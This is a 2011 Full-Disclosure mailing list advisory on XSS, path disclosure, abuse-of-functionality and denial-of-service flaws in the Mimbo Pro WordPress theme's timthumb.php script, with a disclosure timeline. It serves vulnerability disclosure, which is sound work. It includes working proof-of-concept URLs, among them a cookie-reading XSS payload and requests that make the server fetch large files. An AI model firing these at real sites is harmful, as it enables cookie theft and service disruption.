[Full-disclosure] Vulnerabilities in Mimbo Pro theme for WordPress

["MustLive" <mustlive@xxxxxxxxxxxxxxxxxx>]

Hello list!

I want to warn you about Cross-Site Scripting, Full path disclosure, Abuse
of Functionality and Denial of Service vulnerabilities in Mimbo Pro theme
for WordPress. It's commercial theme for WP by developer of TimThumb.

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Affected products:
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Vulnerable are Mimbo Pro 2.3.1 and previous versions. XSS is possible only
in old versions of the theme. After my informing, developer have fixed
almost all vulnerabilities.

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Details:
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XSS (WASC-08):

http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=1%3Cbody%20onload=alert(document.cookie)%3E

Full path disclosure (WASC-13):

http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site

http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site/page.png&h=1&w=1111111

http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site/page.png&h=1111111&w=1

http://site/wp-content/themes/mimbopro/

And also tens of php-scripts of the theme in folder /mimbopro/ and all
subfolders.

Abuse of Functionality (WASC-42):

http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site&h=1&w=1

DoS (WASC-10):

http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=http://site/big_file&h=1&w=1

About such AoF and DoS vulnerabilities I wrote in article Using of the sites
for attacks on other sites
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).

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Timeline:
------------

2011.02.08 - informed developer about vulnerabilities in TimThumb.
2011.02.08 - announced at my site.
2011.02.09 - informed developer about vulnerabilities in Mimbo Pro.
2011.02.13 - developer released TimThumb 1.25 and begun updating
TimThumb in all his themes.
2011.04.14 - disclosed at my site.

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/4913/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


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